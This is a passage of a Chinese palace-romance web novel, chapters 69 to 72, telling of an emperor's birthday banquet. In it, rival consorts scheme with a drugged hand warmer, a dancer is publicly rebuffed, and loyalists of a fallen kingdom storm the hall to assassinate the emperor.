《朕错了!疯批暴君跪在公主殿外哭》 第69章 祸国宠妃 第六十九章 祸国宠妃 这一声成功的吸引了众人的视线,众位妃嫔也顿时忘记了继续恭维江向晚,皆慌忙跪拜了下去。 “吾皇万岁、万岁、万万岁!” “臣等恭祝皇上万寿无疆,寿与天齐!” “众卿平身吧。”一道清冽的声音在众人头顶响起。 众人这才缓缓站直了身子,朝主位上看去。 年轻的帝王面若白玉,剑眉横扫带出一抹凌傲来,本是妩媚勾人的桃花美目却含着淡淡的凉意,有种拒人千里之外的冰冷,头上戴着束发嵌宝紫金冠,身着明黄的金丝绣五爪龙袍,笔挺的龙袍勾勒出他俊逸挺拔的英姿,冷峻的脸上仍然掩饰不了他那与生俱来的凌冽霸气,而他身侧的女子被他拥在怀中,黛眉飞入鬓角,清灵而又妩媚,杏眸盈盈如含秋水,唇若点绛。妆容简单却不失华贵,红狐披风的披风将她小巧的身子包裹起来。远远看去,那皇帝身侧的女子竟有些美得不真实,宛若从画中走出来的女子,这是不少朝臣第一次这么近距离打量传闻中的祸国妖妃,如此倾国倾城的女子,怪不得令皇帝夜夜恩宠。 那披风红得耀目,如一朵盛开的彼岸花,摇曳生姿,衬托的安文夕更加妖艳无比。 众人的视线不禁在安文夕和江向晚之间来回打量,明眼之人一眼便可以看出安文夕身上的火狐披风不知道比江向晚身上的白狐披风名贵了多少倍,江向晚脸色有些难看,袖中的双拳紧握,不去看那些嘲弄的打量。 殿中不少人皆在幸灾乐祸,原来江向晚也不过如此,皇上是待她不比常人,但是和盛宠的瑾淑妃一比,瞬间就被比了下去。 北宫喆带着安文夕入座,明明她只是一位淑妃罢了,对于她坐在北宫喆身边,却无人敢有异议,帝妃相携而坐,是如此的般配和谐。 “今日是朕生辰,众卿不必拘礼。” 北宫喆话音刚落,下面便开始了献礼环节,众位大臣皆不甘示弱,纷纷拿出早早准备好的礼物,说着寿词。 通常献礼过程中比较枯燥乏味,安文夕有些无聊,因为坐在北宫喆身边,一举一动皆被众人观察着,只能老实的坐得笔直,没一会功夫便觉得腰酸腿疼。 安文夕自从踏进九华殿,就发现有道视线一直缠绕着她,每当她顺着视线去看时,却总是被众人挡住了视线,终于在她再次抬头望去时,和那人四目相接,原来一直暗暗打量她的人是易寒。 那个曾经在秋猎时帮她包扎过伤口的易寒。 就在她凝神之时,之间那易寒端起酒杯对着她做了个碰杯的动作,安文夕心中一惊,刚想举杯,便被身边的男人按下了酒杯道:“你身体不好,不宜饮酒。”他说话声音不大,刚好被她能听到。 北宫喆眸若寒冰,不悦的端起酒盏对着易寒的方向饮尽了杯中酒,竟然敢当着他的面,调戏他的女人,真是——不知死活! 北宫喆放在安文夕腰间的手微微加了力道,刚才他可是看的一清二楚,她竟敢还想举杯,她这么做,想将他置于何地? “小气鬼!”安文夕虽然嘴上不满,但又亲自为北宫喆斟了一杯酒。 “你是朕的女人,还想着勾引谁?”北宫喆在她耳边吐着酒气。 男人独有的温热气息,并伴随着淡淡的酒气,一下子将安文夕的耳边羞得通红,忙微微推开了他。她没想到他竟当着这么多人的面调戏她,这让她情何以堪? 底下的众臣瞥见他们尊贵威严的皇帝在瑾淑妃耳边呵气如兰,将瑾淑妃羞红了面颊,皆尴尬的避开了头,不敢去看首座上的帝妃调qing。 他们的皇帝这是走向昏聩荒yin的道路啊。 一种嫔妃哪个不是对安文夕恨得牙痒痒,这个狐狸精竟然当众勾引皇上,这成何体统! 江向晚指甲狠狠的掐进肉里,咬着下唇不去看主坐上的人,她的喆怎么可以不分场合和安文夕……这叫大臣们瞧见了像什么样子? 安文夕有些不自然的和北宫喆之间拉开了距离,小声对他道:“臣妾肚子有些不舒服,想去如厕。” 北宫喆知道她不好意思了,不过是寻个借口出去透透气罢了,捏了捏她的手心道:“记得早些回来。” 安文夕点了点头,由欢凉扶着出了九华殿。 刚一出殿,凌冽的寒风一股脑的灌了过来,安文夕深吸一口气,觉得浑身通畅,比在那殿里自在多了。 “娘娘……瑾淑妃娘娘……” 安文夕回头便看见一个小宫女捧着手炉一路小跑过来,气喘吁吁道:“娘娘,您的手炉忘记拿了,皇上让奴婢给您送来。” 安文夕没有要接的意思,眼睛有意无意的瞥着那宫女手里的手炉。 “娘娘不冷,这手炉你拿回去吧。”欢凉说道。 “可是……皇上吩咐……吩咐奴婢一定要将手炉送到娘娘手中,还请娘娘不要为难奴婢。” 安文夕从小宫女手里接过手炉道:“好了,你回去吧。” 被安文夕碰触的肌肤蓦地一颤,那小宫女立即收回了手,又飞快的看了眼安文夕捧着手炉的手,然后垂下头去道:“奴婢告退。” 呵……还真是不死心呐。 抱着手炉,手心里渐渐传来一阵暖意,安文夕的嘴角慢慢勾了起来,瞥了眼凉亭,迈动了脚步。 “瑾淑妃娘娘,好久不见。”一道略带熟悉的声音在她身后响起。 “原来是易大人。” 面色红润,人也圆润了不少,看起来她似乎和北宫喆在一起相处得不错,易寒眼底划过一抹不易察觉的黯色,随即他的视线落到安文夕手里的手炉上,黑瞳微缩,问道:“这手炉哪来的?” “怎么易大人,这手炉有问题?” 易寒没有说话,在衣袖里摸索了一会,然后取出一个青釉瓷瓶,拉过她的手,不顾她的惊呼,将里面的药膏一点点涂在她的手上面。 “这手炉上面被人下了药。” 她和易寒离的很近,他的身上似乎有种说不出的熟悉的味道,看着他葱白的指尖,安文夕突然问道:“易大人,我们以前见过么?” 易寒手中的动作一滞,随即淡淡道:“微臣是北襄人。” 北襄人?那就是没见过了,可是一个陌生人无目的的几次救她,这又是为了什么?更何况他知道,她是妃,他是臣,可是现在他却抓着她的手…… “易大人,本宫自己来。” “还有一点点就好了。”易寒不容她抽出手。 安文夕不再反抗,任由他将药膏涂好,如此也好,也省的她再去问无双要解药了。 “好了。”易寒重新将手炉递给她道,“现在没事了。” “多谢易大人。” “瑾淑妃不必客气。” “娘娘……”欢凉小心提醒她,这里是通往九华殿的必经之处,万一被人看到了就不好了。 “易大人,本宫先告辞了。”欢凉为她紧了紧披风。 看着前方女子娉婷的身影,易寒道:“瑾淑妃……” “易大人还有事?” “多多小心身边的人。” 安文夕愣了一瞬,随即道:“本宫知道了,多谢易大人提醒。” 她的嘴角带着抹自信的笑,狡黠宛若灵狐,也许,她根本不需要他的帮助。 九华殿内响起了丝竹管弦之声,清雅的琴声绕梁不绝,献礼过后,便是祝寿表演了。 殿内香影绕绕,衣袂翩翩,婀娜多姿的舞女热情而奔放,在这温暖如春的大殿内,露出了莹白细软的腰肢,勾去了众人的视线。 领头的舞女看见主位上只有北宫喆一人,大胆的踩着惑人的舞步,慢慢的靠近北宫喆,若隐若现的酥月匈,曼妙的曲线,令不少人情难自持。北宫喆mi离的双眸一眨不眨的盯着她,引得她半嗔半羞的微微垂了头,像是得到了默许般,她脚下的舞步越发发大胆了起来。 看这样子皇上似乎想要将这舞女纳入后宫之中,结合皇上盛宠瑾淑妃的情况,这也不是不可能。瞧那舞女大胆勾魂的模样,皇上也难免把持不住,许多朝臣不禁深思,难道皇上喜欢这种调调的? 北宫喆长臂一伸,瞬间将那舞女揽进怀中,大手覆上她的纤腰,惹得那舞女一阵娇嗔:“皇上~”这一声,酥车欠至极,那舞女大着胆子搂住北宫喆的胳膊,靠在他的怀里。 原来还看不下去皇上和瑾淑妃腻歪的臣子,这下子彻底不敢直视了,不禁都在心里翻了嘀咕,皇上即便再喜欢那舞女,也不能当着众人就……这可是昏君的行为啊! 这一下,北宫喆下手坐着的妃嫔脸上可就挂不住了,皇上当着她们的面和一个低贱的舞女亲亲我我,任谁也看不下去了。但是她们中间也不乏幸灾乐祸的,这瑾淑妃这才刚出去了一会,皇上就另结新欢,待会她回来,那就有好戏看了! 江向晚眯着眼睛打量着被北宫喆揽在怀中的女子,咬紧了下唇,在看北宫喆mi离的双眼,没有半分情谷欠。 北宫喆满目柔情的对怀里的女人道:“乖,你先下去,晚上在储秀宫等朕。” 第70章 让她出丑 第七十章 让她出丑 那舞女闻言,又惊又喜,这么说,皇上是打算给她名分了!她有些不舍得从北宫喆怀里下去,旋身舞回了台上。 曲终舞止,北宫喆赞道:“赏!” “多谢皇上,吾皇万岁万岁万万岁!”那名领头的舞女带着众人含羞得退下舞台。 殿内气氛高涨,谁都没有注意一位不显眼的小宫女偷偷地溜到一位粉衣宫装的女子身边,为她添了杯茶水,小声道:“娘娘,成了。” “本宫知道了,你先下去吧,不要再过来九华殿了。”女子声音轻柔,升腾的水汽掩去了她眼底的光芒。 “是,奴婢告退。” 她轻轻抿了口茶水,眼底露出一抹阴狠,今天,她要让她出丑!看她还有什么颜面坐在皇上左右! 接下来是几位世家小姐表演才艺祝寿,世家小姐身份高贵,矜持内敛,自然不会向刚才的舞女一般大胆扌兆逗,北宫喆对此也是兴致缺缺。 北宫喆淡淡啜了口酒水,看着原本属于易寒的位子空了,眉头微微蹙了起来,对身后的张海道:“你去寻一下瑾淑妃。” 安文夕和欢凉刚走到九华殿侧门时,正好撞上了迎面而来的张海。 张海脸上一喜,立即迎了上去道:“瑾淑妃娘娘,您可回来了,皇上正念叨着您呢!” “哦,本宫出去这段时间,没发生什么事吧?” 张海愣了一瞬道:“没,没有。”他暗自擦了一把汗,瑾淑妃不在的时候,皇上一眨眼功夫纳了位舞女,不过,他可不会傻到给瑾淑妃说这事。 北宫喆见她过来,脸色微微有些不悦,“怎么去了那么长的时间?” 安文夕并不打算隐瞒他道:“臣妾在半道上遇到了易大人。” 北宫喆微微蹙了蹙眉,瞥了眼她手里的手炉,转眸看向场内无聊的歌舞。 安文夕刚落了坐,蓦地捕捉到一道刺人的视线,犀利的双眸紧紧钳住那人的双眸,令她避无可避,谁知那人只愣了一瞬,随即挑衅般的冲她挑起了眼尾。 刚才那位舞女大胆的和安文夕对视着,嘴角挂着自信的笑,自己论姿色,绝不比瑾淑妃差,而身材么,她自认自己玲珑有致的身材完胜瑾淑妃那干瘪的小身板,更何况,如今皇上已经拜倒在她的石榴裙下。 安文夕感觉有些莫名,但身为女人的每文感,她觉得刚才的挑衅是由她身边这位引起的。她微微靠近了北宫喆,一阵略带刺鼻的脂粉味传入鼻翼,安文夕顿时明了,怪不得她来了北宫喆不禁没有一把揽住她,反而和她拉开了距离。 众人皆饶有兴致的盯着她,尤其是一些低位妃嫔,仿佛是在看她如何应对一般,看样子,她们到很希望她会做出一些没脑子的事。 安文夕的视线闲淡的扫过众人,朝刚才那位看她的舞女扬起了红唇,慢慢的啜着杯中酒,姿态妖娆到了极致。 刚才的那位舞女愤愤地握着拳,她倒要看看这个张扬的女人还能得意多久! “啪——”一声清脆的响声立即吸引了众人的视线。 地上是被被打碎的青瓷盏碎片,茶水溅了一地,场面有些狼藉。 一位粉衣宫装的女子立即跪了下来道:“皇……皇上……嫔妾不是有意的。” 安文夕不动声色的挑起了妩媚的眼尾,好戏这就要开始了! 北宫喆不悦的扫去了一眼,视线停在她略有些红肿的手上,眸光深沉。 粉色宫装女子见有人盯着她的手看,立即将手往衣袖下藏了藏,经过衣料的摩擦,手上仿佛痒得更厉害了,她忍不住双手摩挲了下,真是越挠越痒,越痒越挠,她拼命的咬着唇,忍着那难耐的痒,可是那痒仿佛深到骨髓,并且一点点往上蔓延,手腕处也渐渐痒了起来。 “这不是皇上新封的黎美人么?” “这个吸引皇上的手段可不高明。” “皇上可是一次没有去过她那里,她怕是急了……” 周围细小的议论声传入傲天的耳中,她愤愤的咬着唇,现在连胳膊上也在痒,她实在是憋不住了,好想撸起袖子,挠个痛快。 “皇上……” “滚出去!” 如此也好,一会只怕连身上也都要痒了,她是在不敢想象她憋不住将衣物全部褪去的景象。可是她不明白的是,明明计划的是让瑾淑妃出丑,为何主角换成了她?还是说那个女人已经知道了一切? 安文夕看着那个黎诗琪几乎是狼狈的逃离了九华殿,对身边的欢凉递了个眼神。 这一出小闹剧很快被掀了过去,接下来九华殿再次热闹了起来。待午宴结束,瑾淑妃和北宫喆分开,独自坐上了轿辇回了未央宫。 到了未央宫,一众奴才忙将安文夕迎了进去,穿过走廊,便看到陌姑姑立在风中愣神,眼神沧桑而凄凉。 今日的陌姑姑的确不正常。 “娘娘,您别去管她了,先进殿吧。”箐姑姑道。 安文夕已经大步走了过去,对陌姑姑道:“陌姑姑,这么冷的天,为何站在这里发呆?” 意识到来人,陌姑姑敛尽了眸光,淡道:“不过是突然想起了一些陈年旧事罢了。” “既然事情都过去了,陌姑姑也不必想太多,还是多多注意身体。” “是,有劳娘娘挂念了,奴婢扶娘娘进殿吧,这里风大。” 箐姑姑不动声色的将陌姑姑挤到一边道:“娘娘在午宴上定然没吃好,你去吩咐小厨房做几道娘娘爱吃的菜来。”箐姑姑一直对陌姑姑颇多微词,尤其是今日陌姑姑踩脏了安文夕的宫装,箐姑姑越发的不待见她,生怕她再惹出什么乱子。 “是。” 箐姑姑一路扶着安文夕进了内殿,一边唠叨不停,一边解下安文夕的披风,“娘娘,这陌姑姑根本就不会伺候人,来我们未央宫只会添乱还差不多,不如让皇上给您换个主事嬷嬷。” “换个主事嬷嬷,难道箐姑姑想让北宫喆在这未央宫明目张胆的插个人进来?” 箐姑姑闻言一滞,其实皇上对娘娘的好,她们都能看得出来,只是他们之间隔了太多,更何况,娘娘一心在谋划着皇上的性命还有这大夏江山,想到这里,箐姑姑脸色一黯。 “箐姑姑,你去厨房看看,那里少不了你。” “是。”箐姑姑躬身退下。 待箐姑姑走后,欢凉掀开帷幔走了出来道:“公主,你不知道那个黎美人可惨了,一路跑进了储秀宫,身上的衣物被她扯得凌乱不堪,估计身上也得被挠的面目全非了吧。” “黎诗雅她还好吧?”安文夕冷不丁问道。 “还好,死不了,欢凉已经将她安排在了凤青轩。” 安文夕点点头,“你去叫无双过来。” 欢凉脸色顿时一僵,“这个……”谁都知道月无双爱赖床,最讨厌睡觉时被人吵醒,通常她对于影响她睡觉的时,都是直接放出大黄咬人,真是既简单又粗暴! “就告诉她要用午膳了,她若是不起床就不留她的份了。” 过了小半个时辰,月无双揉着眼睛进了内室,边走边打了个哈欠道:“夕姐姐,你找我?” “无双,你看看这只手炉上下的什么药?” 月无双接过手炉,嗅了下道:“这是来自西楚的醉朦胧。” “醉朦胧?” “呃……怎么说呢,就是中毒之人会产生幻觉,尝尝会做出一些匪夷所思的事情,比如当众脱衣服,或者……”说到这里月无双尴尬的笑了笑。 安文夕又将手递了上去道:“我手上涂了解药,你看这解药也是来自西楚的么?” 月无双点点头,“醉朦胧来自西楚皇室,有时候它也被皇帝用来助兴床第之事。” 来自西楚皇室…… 安文夕眉头渐拢,这西楚皇室的东西竟然出现在了一个小小的宫妃身上和大夏位高权重的右相身上,这的确令人深思。 “夕姐姐,你叫我来就是为了这事?” “你也不看看如今都是什么时辰了,还不起床,今天好歹是皇上生日……” “喆哥哥的礼物我早就准备好了。”月无双说着叹了口气,“家里的老爷子来了信,非逼着我回谷,一旦回谷,每每天不亮就被他捞起来练功、上山采药,这宫里的悠闲日子简直是奢望中的奢望,我得趁着没有回谷的时候,把以后的觉都补回来!” 呵呵……听着她的理由,安文夕竟然无言以对。 “对了,夕姐姐,你要不要跟我回谷,我们枫月谷可好玩了。”月无双又兴奋起来。 “你觉得皇上会放我出宫?” “也是……不过,再有不久,喆哥哥家的老妖婆就要回来了,她……”提到曹太后的时候月无双撇了撇嘴,“那个老妖婆可真是不太好相处,一天到晚给人的感觉都是阴森阴森的。” 安文夕不置可否的看了她一眼,对于曹太后的手段,安文夕早就见识了。 “不行,你不能跟我回谷,我怕你不在,江向晚那个坏女人会钻空子。”月无双愤愤道。 “好了好了,别想那么多了,先用午膳吧。”安文夕示意欢凉去吩咐摆膳。 入夜,夏宫内一片灯火通明,一盏盏宫灯将夜空点缀的亮如白昼,晚宴仍然设在九华殿,九华殿被重新布置了一番,奢华不减。 第71章 将她赶出去 第七十一章 将她赶出去 不计其数的夜明珠被镶嵌在殿顶,此时正发着璀璨的光来,织金绣缎的大红地毯漫过白玉铺就的台阶一路蜿蜒到外殿。 晚宴是众位嫔妃为皇上祝寿而设的小宴,只有后宫诸妃而没有朝臣,故而各位妃嫔也可以更加随性些,个个都化了精致的妆容,攥足了心思想在皇上面前博个好彩头,可以赢得皇上青睐。 除了今天午宴时丢了脸的黎诗琪没有来,其他的妃嫔皆盛装出席。听说那黎诗琪被自己抓的全身溃烂,就连脸上都被抓的道道血印,连去帮她医治的太医都被吓了一跳,也不知道以后好了会不会毁容。 原来的黎美人为了陷害瑾淑妃,不惜绝育,而这新封的黎美人为了博得圣宠真是对自己够狠,这黎家的二姐妹,倒真是令人咋舌。 就在众人各怀心思的之时,一道明黄的身影映入众人视线。 “皇上驾到!” “臣妾、嫔妾参见皇上。” “都起来吧。” 众位妃嫔这才重新落了坐,看到北宫喆只身一人前来,不禁心中一喜,难道今晚瑾淑妃不来了么? 穿着常服的北宫喆脸上挂着若有若无的笑意,依旧如此丰神俊朗,视线在殿内扫了一圈却没有发现安文夕的影子,最后将视线放在了今天上午的舞女身上,然后戳了眼一旁的张海,她怎么在这里? 张海忙擦了擦额头的冷汗,依着上午皇上对那女子的态度,必定是纳入后宫了,虽然还没有名分,但至少已经算是皇帝的女人了,晚宴她要来,他也不好拦着,只得在最不显眼的角落里给她安排了个座。 云姬扬起了红唇,径自端了酒杯朝北宫喆走去,想起午宴上这个俊朗的男人对她轻言软语承诺了今晚,她就知道皇上不会忘记她。 狠狠的瞪了眼立在北宫喆身后的张海,这个可恶的老阉奴竟然如此看不起她,给她安排了个最不起眼的位置,待她成了皇上的宠妃,定然不会轻饶了他!虽然她位子偏僻,不过这不打紧,皇上还不是一眼便瞧见了她。想到此,她自信的勾了勾唇。 “皇上,云姬敬你。”她一步步上前。 众位妃嫔皆惊讶的说不出话来,这个不知道从哪里冒出来的女人也太大胆了,如今她还没有名分,名不正言不顺,就敢如此藐视她们一众妃嫔,公然勾引皇上,当她们都是死的么? 江向晴鄙夷的撇撇嘴,这个女人还真是下贱的可以,比安文夕那贱人还要张扬方文荡,真是不知所谓!她微微拿眼角瞅了下立在她身侧的姐姐。 江向晚紧抿着唇角,眼底划过一抹阴冷,手腕翻转,一枚钢针便顺着力道射向云姬的膝盖骨。 “啪。”一声细微的声响之后,江向晚射出的钢针被一颗枣子打落在地,根本无人看到北宫喆究竟是如何出的手。 江向晚愕然的看着北宫喆,脸上浮现不可置信,喆竟然阻止了她,难道这个下贱的女人不应该给她点教训么? 云姬看着这一幕,眼底的笑意更深,看来皇上已经被她迷住了,当即走到北宫喆身边,欲搂住他的臂膀,攀在他的身上。 “瑾淑妃娘娘到!” 这瑾淑妃不是没有来,而是迟到了,这宠妃果然不一般! “喂喂喂,哪来的不要脸的女人往喆哥哥怀里钻。”月无双立即从安文夕身后窜了出来,伸手去扯云姬。 “皇上~”云姬委屈的往北宫喆怀里缩了缩,嗔道,“皇上您快将这个疯丫头赶出去,吓到奴家了。” 月无双抖了抖肩膀,被云姬娇滴滴的声音渗出了一层鸡皮疙瘩,差点就要吐了。 “滚下去!” “还不快滚!”云姬恶狠狠地剜了眼月无双。 “朕说的是你!”北宫喆一掌将附在身上的云姬的扫了下去。 “喆哥哥,我就说嘛,你的品位什么时候变得这么低俗了,好歹有点下限呐。” 北宫喆眼神冰冷森寒,厌恶的扫了眼被甩在地上的云姬,“滚!” 江向晚看着地上狼狈不堪的云姬,嘴角渐渐勾起了浅淡的笑来,而江向晴则嫌弃的别开了脸,仿佛看到了什么不干净的东西一般。 云姬被甩的浑身酸痛,脑子也有些晕,刚才不是好好的么,皇上怎么说翻脸就翻脸,这速度简直比翻书还快。皇上明明是喜欢她的呀,为何要如此对她,当即她委屈的泛出泪花来,引得众人一阵鄙夷,咬着牙站了起来,一步步走向她的座位。 北宫喆看向安文夕的眼神有些躲闪,半晌吐出一句话来,“朕去去就回。” 安文夕悠然入座,有道带着强烈恨意的视线朝她投来,安文夕略略皱眉,扬起唇对张海道:“将她赶出去!” “你……”云姬羞愤的咬着红唇。 “怎么,没有听到本宫的话么?”安文夕声音陡然变冷,带出一股凌冽之势来。 张海立即捧着拂尘走向云姬,他不傻,自然看得出性子张扬且没脑子的云姬没什么前途,他自然不会为了这么个小人物而得罪了皇上的心头宠——瑾淑妃。 “罢了,张公公,你回来吧,无双你去将她赶走!” “好,夕姐姐,我家大黄最喜欢喝人血了。”月无双嘴角绽开了抹狡黠的笑意,右手慢慢摸向身后的背篓。 殿内的人不禁倒吸了一口凉气,谁都知道月无双口中的大黄指的是何物,喝人血……众人皆打了个哆嗦。 “以后本宫若是再看到你当着本宫的面勾引皇上就将你做大黄的口粮!” 嗬……这瑾淑妃果然是善妒的主,而且还——心狠手辣! 云姬又羞又恼,看着月无双手里粗壮滑腻的大黄,立即吓得脸上没有了血色,愤愤道:“瑾淑妃,早晚有一日,我云姬要将你从宠妃的位子上拉下来!” “好,本宫等着。”安文夕凌然道。 北宫喆突然从身后拦住安文夕道:“不必和她一般见识。” 此时的北宫喆一身月白长袍,分外俊儒,原来他去换衣服去了。 “朕知道你不喜欢别人身上的味道,朕也不想穿着脏衣服碰你。”他在她耳边轻道。 安文夕的心中蓦地一阵柔车欠了起来,慢慢涌起淡淡的酸楚来,她深吸一口气,将这份酸楚压下,她知道这都是相思蛊在作祟,自己是不可能再爱上他! 云姬死死地咬着下唇,心头涌起一股从所未有的屈辱来,皇上竟然嫌……嫌她脏,去换衣服了。 “滚出去!”月无双愤愤道,她手里的大黄正幽幽的吐着信子。 云姬握了握拳,愤恨的扫了眼月无双,转身跨出去了九华殿,她刚刚出去,宫门便被重重合上。 北宫喆拉着安文夕重新落座,磁性的声音响起:“开宴!” 北宫喆话音刚落,九华殿内便奏响了乐声,丝竹佩乐,环环不绝,叮翠动听。 接下来便是各位妃嫔献礼了,按礼先由高位的嫔妃开始,第一个便是安文夕,她早早的对北宫喆说过了她要留到最后压轴,所以第一个上场的便是晴妃江向晴。 江向晴吩咐身边的宫女为她准备好了笔墨纸砚,铺开宣纸,她取了支狼毫细细勾勒起来,明亮的夜明珠打下她的一排侧影,样子十分恬静,没想到张扬跋扈的江向晴静下来,倒也有几分世家小姐的风仪。 不过一炷香的功夫,江向晴收了笔,福身道:“臣妾用这幅大夏山河图祝皇上圣体康健,国运昌盛。” 适时有两个小太监将江向晴做得画悬举起来,上面虽然墨迹未干,但难掩气势万千,山河沟壑,大气滂沱,能够看出一山一石,一草一木,皆是费了一番心血的,能够在这么短的时间内画出如此苍劲雄厚的画来也是不易,看来这江向晴也不是那么没脑子的人,到底还是有些才气的。 “这幅山河图甚得朕心,赏!” 江向晴满意的勾了勾唇,得意的挑起了黛眉,神情间透出一股傲然来,随即施施然落了坐。 接下来的位分要数彭安容了,只见她褪了披风,露出里面的紧身舞衣来,玲珑的身材格外的招眼。 “臣妾今日舞剑来为皇上助兴。” 一语说罢,彭安容手软剑在空中挽了个剑花,一快一慢,一缓一急,飒爽中带了些婀娜来,妙曼舞姿如天女散花,又如破风之势急急而来。娇柔的身子合着冰冷的软件,刚柔并济,令人一阵称赞。 临到结束,乐声激昂,彭安容大气的收了尾,单膝着地道:“臣妾祝皇上万寿无疆,寿与天齐!” 北宫喆黑瞳如潭,看不出情绪,“彭婕妤心思玲珑,赏!” “谢皇上!” 北宫喆轻靠在安文夕耳边,“朕很期待你的礼物。” 接下来齐才人紫陌献上了自己做的一本诗集,虽然没有新意,但贵在用心。还有几位美人分为献上了书法祝寿,也有人弹了琵琶。轮到最后一位黎美人时,由于她没有出席,众人也就理所应当的认为她无法献礼了。 谁知,一个怯生生的小宫女捧着一副绣满了福禄寿的屏风慢慢走上殿道:“禀告皇上,我家娘娘身子不便,特嘱咐奴婢将寿礼送给皇上。” 这绣屏虽小,但针脚极密,可见黎美人是下了一番功夫。 “黎美人有心了,让她好好养伤。” 第72章 刺杀北宫喆 第七十二章 刺杀北宫喆 “皇上,微臣也为皇上准备了礼物。”这一声清冽中带着明媚,众人齐齐朝江向晚看去。 她身侧的婢女得了命令立即捧着锦盒呈了上去,张海捧着拂尘,走下来接过锦盒弯着腰递给北宫喆。 “皇上,现在先不要打开。”这里面是她和他共有的秘密,她不想让第三个人看到。 “好,就依晚儿。”北宫喆眸光淡淡的瞥了眼锦盒,然后让张海将锦盒收了起来。 “皇上,现在微臣送皇上另外一件礼物。”江向晚对身边的婢女吩咐道,“将我的琴取来。” 她再次看向北宫喆多了抹柔情,“以前,皇上经常和微臣一起合奏,今晚,微臣斗胆邀皇上共奏。” 北宫喆仿佛兴致极好,嘴角挂着浅笑,对张海道:“将朕的玉箫拿来。” “铮——”琴声起悠扬,明媚的琴音别样悦耳。 琴声刚起,北宫喆吹着玉箫合了起来,回旋婉转的萧声和清韵的琴声渐融,格外的和谐,仿佛是合奏过千百遍的默契。一萧一琴,这一景,美好宛若画境。 江向晚素手撩拨着琴弦,将自己整个融进只有他们两人的乐声中,含情脉脉的看着北宫喆,仿佛只有此刻她才可以大胆的表露自己的感情。 月无双一口一个水晶饺子,将嘴里塞得鼓鼓的,略带鄙夷的打量着一脸陶醉的江向晚,那破曲子有什么好听的,她怎么一点也听不出所谓的意境来,只看到了一脸矫情的江向晚,真令人倒胃口,还能不能好好地吃饭了。 其他人根本没有注意一脸不爽的月无双,皆羡慕的看着江向晚,只怕大殿之内也有仅她一人有皇上为她伴奏的殊荣吧,十几年的青梅竹马,这份情缘,就连瑾淑妃也无法超越。 艳慕之余,是浓浓的嘲弄一股脑的砸向安文夕,自己心爱的男人和别的女人琴瑟和鸣,她们心里不好受,相信瑾淑妃会比她们更加不好受! 安文夕粉面含笑,神色如常,根本没有刚才云姬勾引皇上的妒性。她闲淡的吃着点心,啜着清茶,一泓暖流流进胃里,温暖了整个身心。无论表面再怎么平淡也掩饰不了她心中的那抹烦闷,微颤的指尖表露了她的心思。 北宫喆微阖眼睑,眼角的余光看了眼正小口抿着茶水的安文夕,她的嘴角依旧挂着清淡的笑容,密长的睫毛掩去了他微黯的眸光。 她终究不会在意的,无论她表面多么的爱他,心里却是恨极了他。 箫声渐急,江向晚立即加快了手下的动作,疑惑的看了眼北宫喆。 一曲终了,北宫喆略有些烦躁的放下了玉箫,径自饮了杯中酒,嘴中充斥着辛辣。 “姐姐和皇上真是一对璧人。”江向晴轻咬着下唇道,立即引起众人一片附和。 “江大人和皇上真是好般配。” “喆哥哥,轮到无双了,我也不说那些没用的。”月无双开口打断了刚才众人的奉承,“这事夕姐姐的药,无双现在将它交给你,你一定要亲自看着夕姐姐喝,省的又有人下个药使个毒啥的。” 月无双此言一落,众人一阵嘘唏,这月无双也太过分了,不仅明目张胆的将皇上往瑾淑妃宫里推,还暗指今天坐在殿内的她们都是心机深沉、要谋害瑾淑妃的人么? 可是她们却只能咬牙暗恨,这月无双一身是毒,她们还没傻到去给自己招惹这个麻烦。 “喆哥哥,这是无双送给你的礼物,无双这就要走了,你有没有礼物要送给无双?”月无双期待的眨着眼睛道。 安文夕顿时有些哭笑不得,这个无双,果然是个鬼灵精! 北宫喆嘴角微抽,“无双你若是再胡闹朕现在就将你送回枫月谷,以后都不许再来宫里。” 月无双气势立即蔫了下去,扁了扁嘴道:“凶巴巴的小气鬼!”说完求助的看了眼安文夕。 “无双,你先坐下,你放心,你想要的我早就为你准备好了。”安文夕浅笑道。 月无双闻言,这才安分的继续吃她的水晶饺子。 “殿内所有人已经献礼完毕,瑾淑妃为何迟迟没有动静?”江向晚蓦然开口。 “瑾淑妃不会是什么都没有准备吧?”彭安容大有一种看好戏的架势。 “本宫以前有幸曾看过瑾淑妃跳过舞,那舞姿可是比那云姬要妩媚上百倍,不知臣妾今日能否有幸再观赏一次。”江向晴这是在向大家暗指她以前曾是凤青轩的花魁一事,安文夕嘴角的笑意深了。 北宫喆略略有些不悦的扫了江向晴一眼,偏偏有些没有眼色的小宫妃恭维道:“瑾淑妃娘娘自然是一舞倾城。” 江向晚看着安文夕道:“微臣早就听闻瑾淑妃曾一曲踏雪寻梅闻名九州……” “恐怕要让江大人失望了,今晚本宫不跳舞。” “皇上——” “砰——”安文夕话还未说完,九华殿大门被人一脚踹开,呼啸的寒风立即灌进了殿内,雪亮的钢刀在幽光下分外冰冷。 “有刺客,护驾!护驾!” “啊!救命啊!” 尖细的呼喊声和刺耳的尖叫以及杯盏打翻的声音混在了一起,大殿内顿时乱作了一片。 听到呼喊声的御林军立即赶到九华殿,张海刚刚松了一口气,就看到那些御林军瞬间和刺客混进了一起,拔刀朝台阶之上的北宫喆刺来。 不好,这些御林军都是些刺客,一个可怕的念头涌进众人的脑海。 刚才还打扮的花枝乱颤的宫妃此时皆吓得花颜失色,江向晚黛眉微挽,厉声道:“全部避到内殿!”然后立即祭出了青霜剑护在了阶前,警惕的盯着涌入殿内的黑衣人。 “杀了这个狗皇帝,为安国君报仇!” “这些人竟是大安余孽!”江向晚低道,提剑和来人对战了起来。 安文夕心中顿时大惊,眼尾看向一旁的欢凉,显然都在对方眼里看到吃惊,和江向晚交手的男子正是无涯,他并未蒙面,他在措手之际,朝安文夕递了个眼神。 这是要她帮忙么? 今晚的事情是晟哥哥策划的么,为何没有通知她这件事?他如今怎么如此心急了,在宫中刺杀北宫喆,无疑是死路一条!尤其今天是万寿节,宫中戒卫森严。 北宫喆双眸如沁寒霜,凌厉的扫了眼他身边的安文夕,仿佛在探究她是否也参与了此次的刺杀。 安文夕咬了咬唇,右手下意识的摸向腰间,她到底是帮无涯和秋水,还是要帮北宫喆?她敢肯定,她若是帮了秋水他们,北宫喆一定会让他们死得更快!腰间空空,她才突然意识到今晚她压根没有带七节鞭,看着冲着北宫喆而来的长剑她想也没想直接挡在北宫喆面前。 北宫喆和秋水皆是面色微惊,北宫喆立即将安文夕拉到自己身后,厉声道:“朕何时竟没用到让你来救,乖乖的在朕身后!” 正在交手的江向晚苦涩的咬了咬牙,她拼命要保护的人却在保护另一个女人。 